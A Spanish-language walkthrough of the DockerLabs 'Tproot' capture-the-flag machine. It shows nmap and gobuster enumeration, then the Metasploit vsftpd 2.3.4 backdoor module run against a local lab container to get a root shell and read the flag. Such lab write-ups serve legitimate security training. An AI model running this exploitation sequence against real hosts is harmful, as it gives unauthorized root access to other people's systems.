

## MAQUINA TPROOT



Vamos a desplegar la maquina Tproot

```
caan31 ~ ~/Documentos/Maquinas_DockerLabs/Tproot >> su
do bash auto_deploy.sh tproot.tar
Deploying root access for caan31. Password pls:

      ##          .
    ## ## ##      ==
  ## ## ## ##    ===
 /#####\        ===
| 0 |          /====-
|_____|_____|_____|_____|_____|_____|_____|_____|_____|_____|_____|_____|
|_____|_____|_____|_____|_____|_____|_____|_____|_____|_____|_____|_____|

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Haremos un ping para ver que tenemos conexión con el servidor

```
caan31 ~ >> ping -c 2 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.053 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.038 ms

--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1063ms
rtt min/avg/max/mdev = 0.038/0.045/0.053/0.007 ms
```

Hacemos un escaneo rápido con ( nmap ) y ( -Pn ) para evitar determinar si el host este activo antes de escanearlo

```
caan31 ~ >> nmap -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 14:13 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00014s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
```

Ahora sabiendo los puertos que están abiertos vamos a buscar específicamente esos dos puertos con ( -p ) y con ( -sCV ) veremos la versión más específica de cada servicio.

```
caan31 ~ >> nmap -p21,80 -sCV -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 14:13 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00016s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: got code 500 "00PS: cannot change directory:/var/ftp".
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Unix
```

Como primer intento intentaremos conectarnos por ftp con el usuario Anonymous que de forma predeterminada no cuenta con contraseña.

```
caan31 ~ >> ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 2.3.4)
Name (172.17.0.2:caan31): anonymous
331 Please specify the password.
Password:
500 00PS: cannot change directory:/var/ftp
ftp: Login failed.
```

Al ver que no es posible vamos a mirar que pagina web nos encontramos.



Podríamos hacer una búsqueda con gobuster para ver si encontramos otros directorios colgados de esta página, pero veremos que no encontramos nada.

```
caan31 ~ >> sudo gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://172.17.0.2/" -x .php,.sh,.py.txt,.html
Deploying root access for caan31. Password pls:
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://172.17.0.2/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.6
[+] Extensions:  sh,py.txt,html,php
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
./html          (Status: 403) [Size: 275]
/index.html     (Status: 200) [Size: 10671]
./html          (Status: 403) [Size: 275]
```

Ahora buscaremos un sploit con la versión de ftp, podemos ver que encontramos dos puertas abiertas, uno con un programa de Python y otro con Metasploit.

```
caan31 ~ >> searchsploit vsftpd 2.3.4
-----
Exploit Title | Path
-----
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
-----
```

Abriremos Metasploit

```
caan31 ~ >> msfconsole
```

Lo buscaremos y con (use) nos permitirá usar este exploit

```
msf6 > search vsftpd 2.3.4

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Para mirar la información que nos pide para poder ejecutarlo, escribiremos (info).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
```

Podremos ver que una de las cosas requeridas es el RHOSTS que es la ip de nuestro objetivo.

```
Basic options:
  Name      Current Setting  Required  Description
  ----      -
  RHOSTS
  RPORT     21                  yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the VSFTPD download
  archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
  June 30th 2011 and July 1st 2011 according to the most recent information
  available. This backdoor was removed on July 3rd 2011.
```

Lo podremos proporcionar con set RHOSTS y la ip del servidor. Y para ejecutar el exploit tendremos que poner (run)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

Una vez ejecutado podemos ver que somos root

```
[*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
whoami
[*] Command shell session 1 opened (172.17.0.1:39903 -> 172.17.0.2:6200) at 2025-05-11 14:20:07 +0200

root
```

Buscando un poco en los directorios nos encontramos un root.txt que seria una flag que cuenta esta máquina.

```
cd /home
ls
ubuntu
cd ubuntu
ls
cd /root
ls
root.txt
cat root.txt
261fd3f32200f950f231816b4e9a0594
```